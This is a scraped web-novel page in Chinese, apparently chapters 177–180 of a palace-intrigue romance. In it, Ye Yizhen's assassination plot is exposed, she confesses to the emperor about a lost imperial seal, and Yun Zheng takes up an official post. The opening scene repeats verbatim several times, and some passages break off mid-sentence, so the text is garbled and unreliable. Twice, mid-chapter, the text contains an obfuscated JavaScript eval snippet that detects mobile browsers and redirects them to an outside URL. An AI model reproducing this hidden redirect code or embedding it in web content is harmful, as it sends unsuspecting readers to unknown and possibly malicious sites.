他眼角瞥见,脸色大变,抽出长剑挥向箭头,箭头落地,他还来不及庆幸,后背心一痛,眼前一黑,重重摔在地上,“啊。” 叶宜蓁吓白了脸,猛的起身躲闪,“我是长公主之女,谁敢伤我?” 就在此时,几支长箭同时射向叶宜蓁…… 的街头安静无人,一辆马车驰过。 谷雨时不时的偷看主子一眼,主子这是遇到了什么好事? 向来严肃的脸居然有了松动,嘴角一直轻扬,整个人都柔和了。 有点害怕! “王爷,最近朝中风声鹤唳,首辅告病,他的门下四处奔走,您看?” 厉无恙淡淡瞥了他一眼,“撒出去的网该收了,动手吧。” 谷雨心里一凛,“是。” 深夜,叶府,假山凉亭。 叶宜蓁站在凉亭里,冷冷的看着跪在地上的黑衣人。 “不是说,云筝这次死定了,那箭正中她的心窝,她必死无疑吗?现在怎么解释?” 黑衣人额头渗出汗珠,“这次她命大,逃过一劫,不过她伤了心脉,也活不了多久。” 叶宜蓁眼中全是仇恨,“我等不了那么久,再找人去刺杀她。” 黑衣人小心翼翼的劝道,“我们刚折了一把上好的刀,如今明镜司全体出动,四处缉拿要犯,眼下不是行刺的好时机。” 他顿了顿,“主子,让她痛快的死去,那是便宜了她,不如让她常年缠绵于病榻,时时面对死亡的威胁,日日活在恐惧中,那才是凌迟之苦。” 这话打动了叶宜蓁,面色稍霁,“你说的有几分道理。” 她越想越得意,“云筝,你自以为聪明,其实,被我耍的团团转,我只要略施小计,你就万劫不复。” “这就是跟我作对的下场,哈哈哈,云筝,我要你生不如死!” 黑衣人暗暗松了一口气。 叶宜蓁看了过来,“你最近不要来了,免得被那些鹰犬盯上。” “是,” 黑衣人转身就要离开,忽然,一支长箭袭来,射向他身边的叶宜蓁。 他眼角瞥见,脸色大变,抽出长剑挥向箭头,箭头落地,他还来不及庆幸,后背心一痛,眼前一黑,重重摔在地上,“啊。” 叶宜蓁吓白了脸,猛的起身躲闪,“我是长公主之女,谁敢伤我?” 就在此时,几支长箭同时射向叶宜蓁…… 的街头安静无人,一辆马车驰过。 谷雨时不时的偷看主子一眼,主子这是遇到了什么好事? 向来严肃的脸居然有了松动,嘴角一直轻扬,整个人都柔和了。 有点害怕! “王爷,最近朝中风声鹤唳,首辅告病,他的门下四处奔走,您看?” 厉无恙淡淡瞥了他一眼,“撒出去的网该收了,动手吧。” 谷雨心里一凛,“是。” 深夜,叶府,假山凉亭。 叶宜蓁站在凉亭里,冷冷的看着跪在地上的黑衣人。 “不是说,云筝这次死定了,那箭正中她的心窝,她必死无疑吗?现在怎么解释?” 黑衣人额头渗出汗珠,“这次她命大,逃过一劫,不过她伤了心脉,也活不了多久。” 叶宜蓁眼中全是仇恨,“我等不了那么久,再找人去刺杀她。” 黑衣人小心翼翼的劝道,“我们刚折了一把上好的刀,如今明镜司全体出动,四处缉拿要犯,眼下不是行刺的好时机。” 他顿了顿,“主子,让她痛快的死去,那是便宜了她,不如让她常年缠绵于病榻,时时面对死亡的威胁,日日活在恐惧中,那才是凌迟之苦。” 这话打动了叶宜蓁,面色稍霁,“你说的有几分道理。” 她越想越得意,“云筝,你自以为聪明,其实,被我耍的团团转,我只要略施小计,你就万劫不复。” “这就是跟我作对的下场,哈哈哈,云筝,我要你生不如死!” 黑衣人暗暗松了一口气。 叶宜蓁看了过来,“你最近不要来了,免得被那些鹰犬盯上。” “是,” 黑衣人转身就要离开,忽然,一支长箭袭来,射向他身边的叶宜蓁。 他眼角瞥见,脸色大变,抽出长剑挥向箭头,箭头落地,他还来不及庆幸,后背心一痛,眼前一黑,重重摔在地上,“啊。” 叶宜蓁吓白了脸,猛的起身躲闪,“我是长公主之女,谁敢伤我?” 就在此时,几支长箭同时射向叶宜蓁…… 的街头安静无人,一辆马车驰过。 谷雨时不时的偷看主子一眼,主子这是遇到了什么好事? 向来严肃的脸居然有了松动,嘴角一直轻扬,整个人都柔和了。 有点害怕! “王爷,最近朝中风声鹤唳,首辅告病,他的门下四处奔走,您看?” 厉无恙淡淡瞥了他一眼,“撒出去的网该收了,动手吧。” 谷雨心里一凛,“是。” 深夜,叶府,假山凉亭。 叶宜蓁站在凉亭里,冷冷的看着跪在地上的黑衣人。 “不是说,云筝这次死定了,那箭正中她的心窝,她必死无疑吗?现在怎么解释?” 黑衣人额头渗出汗珠,“这次她命大,逃过一劫,不过她伤了心脉,也活不了多久。” 叶宜蓁眼中全是仇恨,“我等不了那么久,再找人去刺杀她。” 黑衣人小心翼翼的劝道,“我们刚折了一把上好的刀,如今明镜司全体出动,四处缉拿要犯,眼下不是行刺的好时机。” 他顿了顿,“主子,让她痛快的死去,那是便宜了她,不如让她常年缠绵于病榻,时时面对死亡的威胁,日日活在恐惧中,那才是凌迟之苦。” 这话打动了叶宜蓁,面色稍霁,“你说的有几分道理。” 她越想越得意,“云筝,你自以为聪明,其实,被我耍的团团转,我只要略施小计,你就万劫不复。” “这就是跟我作对的下场,哈哈哈,云筝,我要你生不如死!” 黑衣人暗暗松了一口气。 叶宜蓁看了过来,“你最近不要来了,免得被那些鹰犬盯上。” “是,” 黑衣人转身就要离开,忽然,一支长箭袭来,射向他身边的叶宜蓁。 他眼角瞥见,脸色大变,抽出长剑挥向箭头,箭头落地,他还来不及庆幸,后背心一痛,眼前一黑,重重摔在地上,“啊。” 叶宜蓁吓白了脸,猛的起身躲闪,“我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶宜蓁看了过来,“你最近不要来了,免得被那些鹰犬盯上。” “是,” 黑衣人转身就要离开,忽然,一支长箭袭来,射向他身边的叶宜蓁。 他眼角瞥见,脸色大变,抽出长剑挥向箭头,箭头落地,他还来不及庆幸,后背心一痛,眼前一黑,重重摔在地上,“啊。” 叶宜蓁吓白了脸,猛的起身躲闪,“我是长公主之女,谁敢伤我?” 就在此时,几支长箭同时射向叶宜蓁…… 的街头安静无人,一辆马车驰过。 谷雨时不时的偷看主子一眼,主子这是遇到了什么好事? 向来严肃的脸居然有了松动,嘴角一直轻扬,整个人都柔和了。 有点害怕! “王爷,最近朝中风声鹤唳,首辅告病,他的门下四处奔走,您看?” 厉无恙淡淡瞥了他一眼,“撒出去的网该收了,动手吧。” 谷雨心里一凛,“是。” 深夜,叶府,假山凉亭。 叶宜蓁站在凉亭里,冷冷的看着跪在地上的黑衣人。 “不是说,云筝这次死定了,那箭正中她的心窝,她必死无疑吗?现在怎么解释?” 黑衣人额头渗出汗珠,“这次她命大,逃过一劫,不过她伤了心脉,也活不了多久。” 叶宜蓁眼中全是仇恨,“我等不了那么久,再找人去刺杀她。” 黑衣人小心翼翼的劝道,“我们刚折了一把上好的刀,如今明镜司全体出动,四处缉拿要犯,眼下不是行刺的好时机。” 他顿了顿,“主子,让她痛快的死去,那是便宜了她,不如让她常年缠绵于病榻,时时面对死亡的威胁,日日活在恐惧中,那才是凌迟之苦。” 这话打动了叶宜蓁,面色稍霁,“你说的有几分道理。” 她越想越得意,“云筝,你自以为聪明,其实,被我耍的团团转,我只要略施小计,你就万劫不复。” “这就是跟我作对的下场,哈哈哈,云筝,我要你生不如死!” 黑衣人暗暗松了一口气。 叶宜蓁看了过来,“你最近不要来了,免得被那些鹰犬盯上。” “是,” 黑衣人转身就要离开,忽然,一支长箭袭来,射向他身边的叶宜蓁。 他眼角瞥见,脸色大变,抽出长剑挥向箭头,箭头落地,他还来不及庆幸,后背心一痛,眼前一黑,重重摔在地上,“啊。” 叶宜蓁吓白了脸,猛的起身躲闪,“我是长公主之女,谁敢伤我?” 就在此时,几支长箭同时射向叶宜蓁…… 的街头安静无人,一辆马车驰过。 谷雨时不时的偷看主子一眼,主子这是遇到了什么好事? 向来严肃的脸居然有了松动,嘴角一直轻扬,整个人都柔和了。 有点害怕! “王爷,最近朝中风声鹤唳,首辅告病,他的门下四处奔走,您看?” 厉无恙淡淡瞥了他一眼,“撒出去的网该收了,动手吧。” 谷雨心里一凛,“是。” 深夜,叶府,假山凉亭。 叶宜蓁站在凉亭里,冷冷的看着跪在地上的黑衣人。 “不是说,云筝这次死定了,那箭正中她的心窝,她必死无疑吗?现在怎么解释?” 黑衣人额头渗出汗珠,“这次她命大,逃过一劫,不过她伤了心脉,也活不了多久。” 叶宜蓁眼中全是仇恨,“我等不了那么久,再找人去刺杀她。” 黑衣人小心翼翼的劝道,“我们刚折了一把上好的刀,如今明镜司全体出动,四处缉拿要犯,眼下不是行刺的好时机。” 他顿了顿,“主子,让她痛快的死去,那是便宜了她,不如让她常年缠绵于病榻,时时面对死亡的威胁,日日活在恐惧中,那才是凌迟之苦。” 这话打动了叶宜蓁,面色稍霁,“你说的有几分道理。” 她越想越得意,“云筝,你自以为聪明,其实,被我耍的团团转,我只要略施小计,你就万劫不复。” “这就是跟我作对的下场,哈哈哈,云筝,我要你生不如死!” 黑衣人暗暗松了一口气。 叶宜蓁看了过来,“你最近不要来了,免得被那些鹰犬盯上。” “是,” 黑衣人转身就要离开,忽然,一支长箭袭来,射向他身边的叶宜蓁。 他眼角瞥见,脸色大变,抽出长剑挥向箭头,箭头落地,他还来不及庆幸,后背心一痛,眼前一黑,重重摔在地上,“啊。” 叶宜蓁吓白了脸,猛的起身躲闪,“我是长公主之女,谁敢伤我?” 就在此时,几支长箭同时射向叶宜蓁…… 第177章 倒打一耙吗? 叶宜蓁脑袋一片空白,拼命想躲开,但,在假山上腾挪不开,一不小心就踩在凸起的石头上,脚下一滑,摔下假山。 她面朝下,惊恐万状,摔的鲜血淋漓,两眼翻白,疼晕过去了。 几道黑影闪现,冷冷的看着晕死过去的两人,“都带走。 就在黑影将人带走之际,一道怒喝声猛的响起,“住手。 四周一亮,一群全副武装的侍卫拎着灯笼出现。 “谁敢在长公主府乱来?统统拿下。 为首的黑衣人拿起令牌,高高举起,“明镜司办案,谁敢阻拦,杀无赦。 侍卫们愣了一下,下意识的看向身后的主子,永安长公主。 永安长公主满脸怒气,“谷雨,你把我女儿怎么着了?放开她。 谷雨神色淡淡的,“她自己摔下假山,怪不得别人。 永安长公主怒气冲冲的喝道,“是你们故意同时射箭,硬生生的逼她摔下假山,我女儿要是有个三长两短,我跟你们不死不休。 谷雨依旧是不痛不痒,“请便。 他们明镜司办案,只需要向皇上交待,其他人都无视。 永安长公主很生气,但拿他一点办法都没有。 明镜司都是些什么怪物啊,一点都不通人情。 全是厉无恙的错!他六亲不认,带出来的人也是如此! “你不打一声招呼,深夜跑来我府中抓人,你倒是说说,是什么案子? “你若不说出一个合理的解释,我就算拼了这条命不要,也不会放你们离开。 谷雨板着脸,“我们奉命捉拿朝廷钦犯,几经追查,顺藤摸瓜跟踪来到这里。 “让我们没想到的是,那个朝廷钦犯居然跟叶宜蓁夜会…… 永安长公主呆了呆,随后勃然大怒,“你胡说,小女单纯天真,你们这是栽赃嫁祸。 “谷雨,你们已经拿走四十万两还不满足?敲诈勒索没完了,是吧?做人不能这么无耻。我这就进宫告御状! 她情绪激动,但,谷雨不被半点影响,明镜司办的案子不计其数,其中不乏位高权重的人物犯案。 倒打一耙吗? 他将死狗般的黑衣人拉出来,“长公主,你可认识此 人? 永安长公主认真看了几眼,摇头否认,“不认识。 谷雨不置可否,“我们这段时间一直盯着此人,他是镇南王的旧部,屡次深夜出现在叶宜蓁的香闺,还跪倒在她脚下,口中称主子,该怎么解释? 永安长公主脸色微变,“镇南王的旧部?你们是不是弄错了? 谷雨满眼的嘲讽,“你就不问问,我们为何盯上了他? 永安长公主心里一紧,“为什么? 谷雨神色严肃,“他为祸朝纲,离间君臣关系,挑唆学子**锦云郡主府,刺杀郡主的幕后主使者。 他咄咄逼人的质问,“长公主,到底是您下的令?还是叶宜蓁指使的? 永安长公主倒抽一口冷气,赶紧撇清。 “本宫是高高在上的长公主,是皇上的亲姐姐,身份尊贵,锦云郡主算什么东西?本宫都懒的多看一眼,更不可能在她身上花心思。 “我女儿更不可能,她暴躁又无能,是个没脑子的,没有这么高明的手段。 谷雨眼眸微冷,“有什么话回诏狱说吧,带走。 永安长公主挡在前面,“不行,本宫不允许。 谷雨右手一摆,“那就一起带走,谁敢反抗,一律按谋逆罪处决。 这罪名一出,谁还敢动手?要诛九族的。 永安长公主的侍卫都扔下武器。 长公主气恼不已,“好啊,我要厉无恙给我一个交待! “交待?谷雨冷冷一笑,“王爷有令,把这事透露给首辅。 就让他们狗咬狗! “是。 永安长公主脸色大变,首辅因此事被迫离开朝堂,损失惨重,若知道是谁害的,能饶了罪魁祸首? “不许去,不许,听到没有?! 可,没人鸟她。 首辅接到来自明镜司的密信,看完后,脸色微变。 “什么?算计了这一切的人是叶宜蓁?平西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984609|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯府的大儿媳?永安长公主和镇南王的独女?她还有这个本事? 他不敢相信,在他印象中,叶宜蓁是个有点小聪明,有点手段,很会勾引男人,硬是以一介孤女的身份,挤掉了家财万贯的云家女,嫁给了平西侯世子。 他的长子心中满是怨恨,“这个**,居然躲在后面,拿我们当刀使,绝不能饶了她。” 螳螂捕蝉,黄雀在后,他们家被一个女子算计了! 首辅面如沉水的挥了挥密信,“她手里还有一支镇南王的旧部。” 他组的局,却被叶宜蓁利用了。 他吃了这么大的亏,心中怒极,但还有几分理智。 他的长子愣了一下,“明明有旧部,却在平西侯府当了十几年的孤女,他们到底想干什么?” 这也是皇上想知道的。 这次,叶宜蓁被关进了天牢,她昏迷了两天才醒过来。 不得不说,她的命很硬,从假山摔下来,遍体鳞伤,骨头都断了几根都没有死。 听说她醒了,皇上亲自去见她。 叶宜蓁就躺在稻草上,面目全非,浑身是血,狼狈不堪。 她浑身疼,脚疼,胸口疼,脸疼,哪哪都疼,最疼的是锁骨,断了! 她除了眼珠能动,其他地方都动不了,不会是瘫痪了吧? 不,不会的!她没有那么倒霉! 听到脚步声,她费力的掀开眼皮,看清皇上的脸,精神一震,“舅舅,救我,我什么都没做,却被明镜司抓来了,您一定要狠狠惩罚他们。” 皇上冷冷的看着她,看着温柔乖巧,背地里却是个心狠手辣的。 “说吧,你潜伏在平西侯府十几年,到底想要什么?” 叶宜蓁的心如被不知名的大手拽住,后背寒毛竖起了起来。 她露出无辜的笑容,“皇上,您这是什么意思?我怎么没听懂?” 皇上居高临下的盯着她,冷不防问道,“是为了找丹书铁券?” 她和镇南王府到底藏着什么惊天秘密?真相该浮出水面了! 叶宜蓁瞳孔剧震。 第178章 传国玉玺! 叶宜蓁很快就恢复如常,故作漫不经心的说道,“我要那玩意干吗?既不能吃,又不能喝。” “我是皇上的外甥女,是嫡嫡亲的一家人,血脉相连,皇上难道还会让我去死?” 若皇上无缘无故杀血亲,那就是无情无义,会让世人指责的。 她的变化很细微,若不是盯着,根本察觉不出来。 但,皇上看到了,眉头紧皱,“你不是长公主的亲生女儿。” 叶宜蓁下意识的反驳,“我是啊。” 皇上淡淡的否认,“你不是!” 叶宜蓁忽然反应过来了,脸色剧变,这是要将她跟皇室强行切割?要杀了她? 她害怕了,“皇上,我真的什么都不知道。” 皇上冷冷的看着她,“传朕旨意,叶宜蓁一个孤女胆敢冒充天家血脉,罪不容诛,七日后斩首示众。” 扔下这话,他扭头就走。 叶宜蓁呆若木鸡,脑袋一片空白,斩首?不不不!她不想死! “皇上,您想知道什么,我都说。” 皇上停下脚步,神色冷淡极了,“说。” 叶宜蓁眼珠乱转,暗搓搓的试探皇上的底线,“我想要活下去,我要荣华富贵,我要……” 她试图跟皇上谈判,但话还没说完,皇上就慢悠悠的走到门口,眼见就要走出去,叶宜蓁吓的魂飞魄散,“皇上,您别走。” “我只要活着。” 她敢肯定,一旦皇上走出这个牢门,她立马人头落地。 皇上扬了扬眉,答应了,“好。” 叶宜蓁深吸一口气,开始讲述过去,从小就寄居在一户富商人家,被精心培养,学察言观色,学怎么招揽人心,学怎么讨人喜欢,也学琴棋书画。 她要学的很多, 枯燥而乏味。 直到,她见到了那个戴面具的男人。 他告诉自己,她是镇南王府的大小姐,生来就负有使命。 皇上淡淡的问道,“什么使命?” 叶宜蓁不敢直视他的眼睛,“帮助镇南王府恢复昔日辉煌,成就一番大业。” “他给了我一块镇南王府的令牌,说,可以号令镇南王府所有人,还说事成之后,我将是世间最尊贵的女子。” 从一介商人之女,忽然变成尊贵的王府千金,她欣喜若狂。 她轻易相信了,接受使命,来到京城,进入平西侯府中。 大业?造反吗?皇上心中闪过无数个念头,“为什么要找丹书铁券?” 叶宜蓁深吸一口气,“据说,集齐三块丹书铁券,就能得到前朝的宝藏。” “里面不光有数不尽的珍宝,还有……” 她深吸一口气,“一块传国玉玺。” 传国玉玺?皇上心头大震,什么? 传国玉玺刻着受命于天,既寿永昌八个大字,乃是正统合法的信物,代代皇帝相传。 自古以来,各方势力都在争抢这一块传国玉玺。凡登大位而无此传国玉玺,则名不正言不顺,不被世人承认。 当初,大齐开国皇帝攻进京城时,这一块传国玉玺不翼而飞了。 所以,至今都有人觉得大齐得位不正。 若,有一股势力得到传国玉玺,战乱将起。 “那个戴面具的男人是谁?” 叶宜蓁战战兢兢的回答,“他说,是镇南王的侍卫统领,姓魏,我叫他魏叔。” 有点说不通,侍卫统领不用戴面具啊,除非那张脸不能示人。 皇上眼睛危险的眯了起来, 前朝宝藏是大齐帝王口口相传的秘密,却从不知,还有传国玉玺! 而,镇南王府却知道!这代表着什么? 也难怪,父皇在世时,一直派明镜司盯着镇南王府的一举一动,还将长公主下嫁。 “你和永安长公主何时相认的?” 叶宜蓁老老实实的交待,“进京后的第二年,在皇觉寺相认的,之后每个月都会见一次。” 她打着为去世父母祈福的旗号,每个月都会去皇觉寺烧香,也为自己博得一个孝顺的美名。 皇上打量了她两眼,她这面目全非的模样,看不出跟永宁长公主相似之处。 “她为什么不公开认你?” 叶宜蓁眼中闪过一丝怨念,“我还没有完成任务。” 就是说,永安长公主也是同伙之一。 一想到这,皇上面色凝重,皇姐为何背弃家国? “镇南王真的死了吗?” 这其中有些不合理的地方,那可是王位,说弃就弃? 叶宜蓁眼泪都下来了,“我不知道啊,我只需要做一件事,找出丹书铁券。” 她说了很多,说到后面,实在是词穷。 “皇上,我把知道的都说了,求您让太医为我诊治吧,我不想瘫痪。” 皇上一言不发的离开了,后面传来叶宜蓁疯狂的求饶声。 走出天牢,皇上长长吐出一口气,看向坐在轮椅上的男子。 “皇弟,你觉得她的话有几分可信?” 厉无恙随口回答,“五分吧。” 黑衣人的口供说,他负责暗中保护叶宜蓁,听她的吩咐行事。 对此次的事,也供认不讳。 皇上无声的叹息,“你可知,丹书铁券的由来?” “前朝末年,十几支队伍逐鹿中原, 镇南王、定远侯和开国皇帝结盟,共同推举我们的祖先为帝,其他两家为王侯,与国同休,开国皇帝发誓,大齐皇室永不会沾上这两家的血。” “为示诚意,开国皇帝令人打造丹书铁券,分赐给镇南王和定远侯。” 厉无恙像是听了,又像是没听,漫不经心的把玩玉扳指。 皇上没好气的瞪了他一眼,跟他说正经事,他发什么呆啊。 “你有什么想法?” 厉无恙全然不在意,“把口供递给首辅,让他戴罪立功,若能将叶宜蓁身后之人一网打尽,就让他重回朝堂。” 他已经将几个据点连根拔起,抓了不少人,剩下的让首辅来。 “给他找点事,省的他暗中串连搞事情。” 皇上嘴角轻轻上扬,“行,就这么办。” 这摆明了,是让双方相互消耗,但首辅别无选择。 他打量了厉无恙两眼,忽然说道,“皇弟,朕看你气色绝佳,这是有什么好事?” 厉无恙摸了摸自己的脸,有这么明显吗? 他随口找了个理由,“永安母女要倒霉了,我很开心。” 皇上有些意外,“你这么讨厌她们?” 厉无恙不动声色的上眼药,“永安和永宁都瞧不起我,还拿太后说事……” 皇上脸色一沉,“说什么?你怎么从来没提起过?” 第179章 要疯!她到底会不会说人话! 厉无恙眼神黯然,一副有口难言的模样,“我说不出口。” 皇上一下子脑补了很多,勃然大怒,“可恶。” 他一生气,有人就要倒霉了。 “来人,叶宜蓁身体不适,需要有人贴身照顾,让永安去天牢亲自照顾爱女。” 背叛家国的长公主,有什么值得他尊敬的? 这些年还敢欺骗君王,好大的胆子,找死。 “记住,只许她孤身一个人进去。” 养尊处优的长公主哪会照顾人?分明是让她一起坐牢。 “是。” 皇上要恶心一个人,有的是办法。 “至于永宁,她已经在皇觉寺落发为尼……” 厉无恙清冷的声音响起,“还没有,她抗令不遵,没有在规定期限内落发,在府中闭门不出,没人敢催她。” 而他,也没有催促,只为了在关键时刻添一把火。 皇上彻底恼了,本想念在姐弟情份上,放她一条生路。 “好啊,一个个的阳奉阴违,不把朕的旨意放在眼里。” “传令下去,让所有宗室勋贵和三品以上官员携带家眷出席永宁的落发剃度仪式,日子就订在……三日后。” 这是敲打,也是警告,更是强行替永宁剃度,彻底将永宁的脸面踩在脚底下。 厉无恙嘴角轻轻上扬,“地点呢?皇觉寺?” 皇上动了真怒,“不合适,她哪配去皇觉寺享福,改为清凉庵。” 皇觉寺算是皇家寺庙,占地很广,环境优美,一切待遇都是最好的。 可清凉庵只是一个普通的尼姑庙,小破差。 自从之后,再无永宁公主,而是一个普通的尼姑。 这让金尊玉贵的公主怎么活? 立春不知从哪里冒出来,似乎有事要禀,看到皇上迟疑了一下。 皇上眉头微蹙,厉无恙瞥了一眼,淡淡的道,“在皇上面前,没有什么可藏的,说。” 立春立马说道,“今日,锦云郡主去内务府上任,快和人打起来了……” 皇上愣住了,“她身体不好,怎么这么着急去上任?” 厉无恙嘴角轻轻上扬,“可能是怕夜长梦多吧。” 皇上冷哼一声,“那丫头的心眼子真多,朕金口玉立,说的话就是圣旨,谁阻拦都没用。” 众人越是阻止,越激起了帝王的胜负欲。 帝王的权威不容任何人挑衅。 厉无恙的心思飞远了,她不会吃亏吧,“皇上,我要去凑热闹,您去吗?” 皇上:……他什么时候这么爱凑热闹了? 云筝休养了几日就换上官服,带着紫烟去内务府上任。 “张总管,我来报道。” 张总管眼神复杂的看着她,谁能想像,正是这么一个弱女子引发了一波腥风血雨。 “郡主身体不适,为何不多休息几日?”最好是怕的不敢来了! 云筝脸色苍白,声音有些虚弱,“天生劳禄命,躺着难受,索性过来办差,听说此次不少内务府官员也去跪求了,本官能知道名单吗?” 张总管嘴角抽了抽,她这是想干嘛?明晃晃的索要名单,要打击报复吗? 这才第一天啊,好嚣张! “不方便。” 云筝抿了抿嘴,“行,我明白张总管的态度了。” 张总管:…… 妈呀,这心眼多的像筛子。 是,他不希望云筝进内务府,还暗示了心腹手下搞点事,但,有些事情只能意会,不能挑破啊。 这官场的条条道道,她还是太嫩了。 “郡主,你……” 云筝摆了摆手,打断道,“叫我云大人,啊,不行,我爹也在呢,就叫我小云大人吧。” 张总管心思飞转,“小云大人,官场不是商场,规则是不一样的,听我一句话,要韬光养晦,要低调,要隐忍。” 别看云筝如今官位小,但,以她的性子,一定会想办法把他干掉,坐上他这个位置的。 云筝怀疑的看着他,“你有这么好心指点我?不会把我教到阴沟里去吧?” 张总管气的直翻白眼,讨厌的丫头。 不行,得给她一个下马威。 他眼珠滴溜溜的转,“小云大人,我是你的上官,有你这么跟上官说话的吗?” 云筝睁着一双无辜的眼睛,“啊,我跟皇上也是这么说话的呀,你一个狗腿子比皇上还威风?” 狗腿子!张总管气的差点吐血,啊啊啊,要疯!她到底会不会说人话! 她还在笑!更生气了! 他连做了几个深呼吸,才恢复了平静,“走吧,我带你去广储司。” 罢了,让别人去斗吧,他要坐山观虎斗。 广储司是三进的院子,一进正房五间,南房五间,用来办公。 左右偏殿各五间,这是专门用来储存资料。 二进三进也是同样的规格,全是各个库房,其中最有名的是银库。 所以,这边是重兵把守,进出都严格检查。 由张总管领着,自然是畅通无阻。 广储司诸官听闻他来了,纷纷出来见礼,“见过张总管。” 张总管面带笑容的介绍,“诸位,我为大家介绍,这是新上任的广储司郎中,锦云郡主,你们可以称呼她为小云大人。” 众人的视线落在云筝身上,同样的官服穿在她身上怎么这么好看?整个人英姿勃发。 张总管的目光落在一个国字脸官员身上,“这是广储司主官,郑大人,小云大人,这是你的顶头上司,快上前拜见。” 双方都在打量对方,云筝看过众人的资料,心里有数。 广储司主官,郑庆丰,钱家二夫人的亲生父亲,有点能力,打的一手好算盘。 但,为人斤斤计较,心胸狭窄。 “郑大人,你要好好照顾郡主,她可是皇上跟前的大红人,不能得罪了。” 这话说的哟,恨不得将挑拨离间写在脸上。 云筝微微一笑,大大方方的打招呼,“以后,还请郑大人多关照。” 她倒是客客气气的,但,对方不领情,“不敢。” 郑庆丰板着脸,大声指责,“郡主,听闻你将钱老夫人气到中风,如此恶毒,本官实在不敢靠近。” 这话一出,全场静的出奇。 张总管兴奋的眼睛亮了,快,打起来,打起来! 第180章 这是荣誉之战 但,这情况是没法和平共处了。 她从来不主动惹事,但也不怕事! “听闻?你听谁说的?你的女儿钱家二夫人?” 郑庆丰表面上是为钱老夫人鸣不平,其实,是为自己。 他内心很忌惮云筝,背后有强大的靠山,她野心勃勃,摆明了是来夺权的。 区区一个广储司郎中满足不了她的狼子野心,首当其冲的就是他这个主官。 钱家之前递过话,说云筝盯上了广储司,要收为己用,还要他让位。 他当扬就气炸了,凭什么?辛辛苦苦几十年,好不容易爬到这个位置,谁都别想抢走。 他左思右想,绝不能姑息。 应该从一开始就不能给她机会,让她威信全无,无人可用,把她架空,成为一个傀儡。 “你不仁不义,不堪为官。” 女子就该安安份份的待在后院,相夫教子,不该抛头露面,跟他们男人争权。 云筝不但不生气,反而气定神闲的反问,“郑大人,你知道为什么,我十八岁能坐上五品官员的位置,而你,一大把年纪还是四品官吗?” 这是打他的脸,郑庆丰又气又怒,故意嘲讽道,“你会拍马屁,我不会。” 云筝呵呵一笑,“错,你偏听偏信,人云亦云,是个糊涂蛋。” 郑庆丰倒抽一口冷气,不敢置信,第一天她就敢跟上官对呛?“你胡说什么?” 云筝大声奚落,“要不是你将女儿嫁进钱家,抱上钱家的大腿,你都坐不稳这个位置。” “你啊,不过是钱家的卒子,傲什么呀?” 这可捅了郑大人的肺管子,他最恨别人这么说。 他气的浑身发抖,“放屁,我是二榜进士,正正经经的读书人,靠自己一步步走到这个位置的。” “钱家跟郑家结亲时,我已经在内务府占据一席之地。” 他跟钱家是亲家,互为盟友,不是下属。 “我不靠姻亲,不靠裙带关系,而是堂堂正正靠自己的实力,不像有些人,靠拍马屁开后门进来的。” 他说的是义愤填膺,情绪极为激动。 张总管眼睛亮的出奇,要打起来了!最好是两败俱伤! 云筝微微一笑,忽然大声嚷嚷,“张总管,说你呢。” 张总管:……我?? 郑大人:……!!! 大家齐刷刷的看看张总管,嗯,确实靠拍皇上的马屁空降下来的,没读多少书,没考科举。 又看看郑大人,好勇,居然这么说自己的顶头上司! 张总管站着也中枪,又气又恼,“郑大人,你好大的胆子。” 郑大人汗流浃背,“下官不是说您,是在说锦云郡主……” 云筝不乐意了,“张总管靠奶娘,我靠皇上,谁比谁高贵?” 所有人沉默了,这话没有毛病。 张总管后悔的不行,他就不该指望别人能压制住云筝。 她的战斗力太强了,来一个杀一个,来两个杀一双。 这下子尴尬了。 郑大人嘴唇直哆嗦,拼命擦汗,脑子转的飞快。 她能拿皇上当幌子,他也可以拉上满朝文武嘛。 “你别以为有皇上撑腰,就能为所欲为,不把满朝文武放在眼里。” 他是将云筝推到百官的对立面。 云筝撇了撇小嘴,“我向来与世无争,生性纯良,从不主动招惹别人,你发癫冲我发难,诋毁我,嘲笑我,还拉上百官为你担保,脸真大。” “满朝文武凭什么让你代表?就凭,你是钱家的狗腿子?” 众人目瞪口呆,她这么犀利凶残,怎么好意思夸自己生性纯良? 他们都快不认识与世无争这四个字了。 郑大人暴跳如雷,她怎么听不懂人话?都说了,不是! “我和钱家是姻亲,是平等的,不像你,只知道拍马溜须,谗言媚上。” 云筝哈哈一笑,“平等?你就自欺欺人吧。” 郑大人被气的够呛,“你放肆,我是你的上司,你胆敢以下犯上,该当何罪?” 云筝懒的理他,看向四周,在办公区域转了一圈。 郑大人眼睁睁的看着她旁若无人的参观,全然没将他放在眼里,无能狂怒。 各个部门各有一间办公间,各部的头头二人一间,而广储司主官是单独一间,是正房最东边。 云筝一眼就看上了,“这房间向阳,光线充足,我要了。” 她理所当然的吩咐下去,“这是谁的东西,麻烦收拾一下,我要搬进去。” 郑大人不敢置信,怎么敢如此嚣张? “不许乱动,那是本官的屋子, 锦云郡主,你别太过分了。” 郑大人今日若是退了,就威信扫地,就再也别想让手下信服。 这是荣誉之战,他不能退! “郡主,这是办公的衙门,要耍郡主威风,你换个地方吧。” 她抢的是房间吗?不是,是权力,是话语权! 他叫来门口守卫,“来人,将她拖出去,不许她跨进广储司一步。” 守卫们面面相觑,不知所措。 钱大人怒极,“站着干吗?都不想干了?” 紫烟护在云筝面前,手持长剑,冷冷的瞪着众人,“谁敢?” 云筝不但不怕,反而跃跃欲试,“郑大人,你郑家一屁股烂账,擦好屁股了吗?” 郑大人狠狠瞪着她,“你胡说什么?” 云筝拿出一个黑本本,翻阅起来,“让我看看,郑家的烂账。” 大家立马竖起耳朵。 云筝抑扬顿挫的念道,“郑家庶长子,跟父亲的妾室偷欢,也不知道妾室生下的是弟弟,还是儿子。” 全扬一片哗然,兴奋万分,还有这种事?哇哦,好刺激。 